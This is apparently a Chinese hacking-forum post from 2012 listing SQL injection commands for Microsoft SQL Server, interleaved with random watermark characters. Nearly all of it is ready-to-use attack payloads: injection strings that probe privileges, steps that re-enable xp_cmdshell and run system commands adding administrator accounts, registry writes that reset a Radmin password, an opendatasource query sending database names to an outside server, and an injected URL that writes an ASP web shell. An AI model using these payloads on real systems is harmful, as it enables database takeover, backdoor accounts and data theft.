找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2118|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令
6 p$ s. I; J+ Z5 [) x//看看是什么权限的( R* Q9 H, R7 `! j* i* ~
and 1=(Select IS_MEMBER('db_owner'))* N! [  f  A, t" H! B
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--9 o* x1 k1 h( j3 W& u8 L

  f' i1 G5 H  N, ?//检测是否有读取某数据库的权限# ~; a* z4 s$ f; w2 _) v9 R! T
and 1= (Select HAS_DBACCESS('master'))' {- w  ~: ~" O0 t, X" T8 G
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --5 y4 R, F& t' W2 I

  P, g" Y, @8 L. E  G
3 f4 R. {5 A! s5 n8 [) R数字类型
. w) y( {, s  f! J/ uand char(124)%2Buser%2Bchar(124)=0' N: R, e0 c% [# ~+ W
; B, q6 C  T. J) K8 t/ v0 G2 ?. m
字符类型
) Y( d0 S- v2 ]" d$ p2 w1 Q' and char(124)%2Buser%2Bchar(124)=0 and ''='
* q0 j! G: |2 U( s+ a$ S, H
2 l5 ~/ G. T* M0 f搜索类型
! C* r' u8 U% o6 _5 K' and char(124)%2Buser%2Bchar(124)=0 and '%'='
' b) W( e# `1 N6 Y& C- s+ w/ t
. Q; q* C0 a( Y6 i) C! U+ l爆用户名; E" @- h: J+ I! ~( x) _' {/ L; t8 ?
and user>0
/ p$ s1 |8 A( o3 P& C$ U' and user>0 and ''='
, \0 C+ s# O/ R) }! k5 d  _6 w
* U6 h7 G" ~% l1 ^. Y0 W检测是否为SA权限* }9 d! h  k; F
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--: I% h1 a( j' d- g
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --- }" M: b" s: I" [
4 e7 G" v! L  ?0 e) ^
检测是不是MSSQL数据库
4 z! k2 A" o3 c8 I! pand exists (select * from sysobjects);--
, H  F- O  ]" r) I) A" B; S  N- V4 Q3 F! G
检测是否支持多行
6 x* }% G6 J9 ]; q/ h;declare @d int;--
* }( t# o6 E! r1 v3 R& p. J2 {0 |( V, D3 l" Q
恢复 xp_cmdshell# ^( m$ ~: Y# ~  x  G8 P
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
4 b% Y1 u( F4 T8 s' R
0 c( o2 ^3 E) B' I
1 t% Y: f# Q$ r6 W2 u4 d$ }8 t& ?select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
  Z* ~  m3 u" ]. [/ t. {" ?
. a) Q5 v7 l6 [! z! e0 P; I) b& ^//-----------------------
) v( l( v- D$ F2 m, A6 L//      执行命令
+ [1 d% `8 k0 G+ b//-----------------------
2 K5 J# D2 b2 p. U3 f* r首先开启沙盘模式:
+ I% ?4 @1 w/ M& x" B, W1 `9 ~* {1 Rexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',19 t/ V: Q5 g+ c) \
1 K) a2 F+ V- k" @/ A
然后利用jet.oledb执行系统命令
( O# T: \+ @1 S% Gselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
5 u/ K! a  h0 J4 `$ B; G6 g1 ?$ U  s2 t0 `
执行命令! \, V5 W3 y2 w9 C
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--1 a0 n9 p* N6 b5 `$ s! C9 z

& a& }: M! Z5 B' u; X2 j* GEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
0 A  a. S$ A6 F
) O* O" s' s& D判断xp_cmdshell扩展存储过程是否存在:
% p' m/ }4 Y% [) `1 Yhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')0 Q% o8 C0 F* h6 H$ o- L" |

+ G" U% H, a! m2 H写注册表
! G: {2 B, p) z2 O/ o1 f( N# Lexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1% t$ A" D' }' X0 W2 T' J$ L( w
) n& k: |" q! d( X5 E
REG_SZ" V! X$ t; K( B; s8 ]1 @+ v
+ l& h* T6 h* \5 p  J
读注册表
- v) u& O4 }5 e" s: {exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'+ X. M4 I9 a* Q6 G# R( L  C
" z+ b1 c8 V& V' A0 _
读取目录内容
0 B+ h; e$ c6 @" d7 J" x+ Uexec master..xp_dirtree 'c:\winnt\system32\',1,1/ x; n" B, c" n7 J2 z

" j2 I8 z- K7 R1 ?1 N& H7 d# r8 s
数据库备份
. ^1 ^) [6 _6 abackup database pubs to disk = 'c:\123.bak'& q; ]1 k/ @7 c; Y

: L! c; U4 i  h9 ^//爆出长度2 I- S3 a3 }# S0 X) w0 ~& I* n$ P8 ]
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--. n4 |+ i; \0 I% Z/ I6 }) y. K9 \1 \

- s% q5 w( ^- K7 _% s( q% d2 i2 I; K: Y, x5 z6 e

# n0 v: `1 Z9 g7 J+ `1 B: F% C: v更改sa口令方法:用sql综合利用工具连接后,执行命令:
- r7 z4 E: g8 ^/ w: ]6 Texec sp_password NULL,'新密码','sa'; t4 J! a" u. O* R
! Q6 I9 m# o, d- r% u; Q
添加和删除一个SA权限的用户test:
: R& y7 B# E/ U* R. s' x. n0 Hexec master.dbo.sp_addlogin test,ptlove0 ]7 H! K9 B. V5 ]5 }" [
exec master.dbo.sp_addsrvrolemember test,sysadmin
5 P8 ~' k) Z& a1 l' i8 o
2 N+ |2 _  t+ k6 k% {删除扩展存储过过程xp_cmdshell的语句: & ~% \" m2 r. ~' w1 |( t: q
exec sp_dropextendedproc 'xp_cmdshell'
, h: M7 N& Q* u; E" ~8 ^9 M+ B% d* ^& E3 X$ v$ p4 l
添加扩展存储过过程4 R. ]4 n8 S, H
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' ; t7 O+ c1 \) Y, u
GRANT exec On xp_proxiedadata TO public
" \2 y5 E1 H- r7 a8 F+ w4 L4 ^; u) b: y

1 i: ?4 R, _% Z9 r9 ~  ^停掉或激活某个服务。
2 V! O% ~* g: O* E
+ b/ h- y) Q+ eexec master..xp_servicecontrol 'stop','schedule'
) E1 l" r& O5 s  z9 e7 s7 @; gexec master..xp_servicecontrol 'start','schedule'
" _1 p! J( M  E; X, ]
' d2 y$ |8 H3 ]4 Jdbo.xp_subdirs
" P+ @% o- r0 [( G
, P5 ?1 ?, ^+ m5 l- k& R& U只列某个目录下的子目录。" v5 C: X& w  Z- V3 _% A+ |
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
& t' ?1 H, i" z, C" [) m' a; Q& O1 h2 Y+ F
dbo.xp_makecab# N. o3 R5 b+ Q5 n( Y

; |2 h; L/ i, B0 y! J9 \& C将目标多个档案压缩到某个目标档案之内。
; h; {9 A5 d1 \+ ^  q所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
0 E$ |: P$ i! e, q% K8 u' |* }7 f: Z. j; v
dbo.xp_makecab( p  y4 }  _4 C4 @5 R
'c:\test.cab','mszip',1,! t5 Z2 a5 X% _( t" W; a" m  T
'C:\Inetpub\wwwroot\SQLInject\login.asp',7 c+ x- j# d; o1 h+ E- e( u
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'$ W2 r9 n1 M+ d* Q

1 ^  R) Z+ c3 l2 Uxp_terminate_process
- X7 N1 y' b! d# G+ Q3 V
# p$ ], Z0 v) B) u7 S停掉某个执行中的程序,但赋予的参数是 Process ID。( G0 A9 l+ j( Q! v0 ~; m
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
+ P* ]9 v+ g0 z! B- g+ O' y* H* \+ x6 x5 `: x' P- A5 e8 j" c
xp_terminate_process 2484' D  f: r% m5 b1 U* A
: q- |3 s( s* A& g9 g" t
xp_unpackcab5 C# P  _: U2 R

/ p* D9 Y  w2 z# E1 b" x0 F3 B' W+ {解开压缩档。+ O" t. j% b* g/ l, d

3 F& w/ N+ Q% q) l& @& }xp_unpackcab 'c:\test.cab','c:\temp',15 A  }5 ~/ v" W
+ F& F7 S+ A7 }4 D

9 s' x; `1 d4 {! k# \某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12341 [. d2 p9 v( `" v9 c
6 W1 i, A4 I" _8 T# `0 V1 y
create database lcx;
/ q7 f5 ~$ r- tCreate TABLE ku(name nvarchar(256) null);
& p' t9 p3 I4 |+ Y# }Create TABLE biao(id int NULL,name nvarchar(256) null);
6 I' Q5 F7 ]7 S5 z
, x" q! I- s+ Z+ X//得到数据库名, @/ t$ o: _1 }' I! O
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
9 M( C4 Z/ H# p% c+ L! x' `+ f. B4 Q& k* C2 }4 B+ l; z+ {# T4 a

- V7 \2 _" y7 F5 Y( W9 o7 a//在Master中创建表,看看权限怎样& n3 {% D# G$ c4 V" l" K
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
' r1 p2 K" \- U  S
! V2 E" U: q1 o6 p$ {; N) c用 sp_makewebtask直接在web目录里写入一句话马:
* b6 u2 l! {) z) s6 R) `- c  S& y2 N4 d+ xhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--9 ^& Z9 }8 Q% t9 J* p
- O8 {& i9 s7 o; U5 [
//更新表内容
- R/ n% P/ [4 b3 q2 T8 LUpdate films SET kind = 'Dramatic' Where id = 123
) e$ f5 y: p5 C: T" B: c- k! k: x# d) H
//删除内容
# u* Y% I$ d6 J( _- r2 f* q! udelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表